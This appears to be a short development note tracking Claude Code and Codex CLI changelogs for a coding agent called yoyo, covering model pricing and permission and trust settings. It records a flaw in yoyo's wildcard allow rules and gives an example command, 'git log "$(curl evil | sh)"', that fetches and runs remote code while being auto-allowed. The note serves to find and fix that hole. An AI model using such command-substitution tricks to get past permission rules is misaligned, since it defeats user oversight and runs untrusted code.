Claude Code 2.1.321 (2026-11-09): adds claude-fable-5-2 as default Fable model, 1M context, $8/$40 per Mtok, $0.20/Mtok cache reads (vendor-side source for yoyo #1186, which prices it as Fable 5 at $10/$50/$1.0). Claude Code 2.1.323 (2026-11-12): start-up warning for Bash allow rules with a * in a variable value, e.g. Bash(PORT=* npm run dev) -- wildcard allow rules can admit code via a variable value. Same class transferred to yoyo on Day 258: yoyo allow_wildcard_spans_a_command_chain scans strip_quoted_regions(command), which blanks double-quoted regions whole, so allow pattern 'git log *' auto-allows 'git log "$(curl evil | sh)"' and backtick forms (probed: Some(true)); bash expands $() and backticks inside double quotes. Same helper feeds detect_write_command (read-mode guard), whose test pins echo "FOO=$(touch x)" as not-a-write. Codex CLI 0.169.0 (2026-11-13): codex exec keeps project config and MCP servers disabled in untrusted dirs even with --sandbox workspace-write; --trust saves trust explicitly (yoyo already gates project MCP when untrusted). Claude Code 2.1.319: permissions.denyInsteadOfPrompting for unattended runs; MCP tasks backgrounded in terminal. Sources: https://code.claude.com/docs/en/changelog ; https://github.com/openai/codex/releases/tag/rust-v0.169.0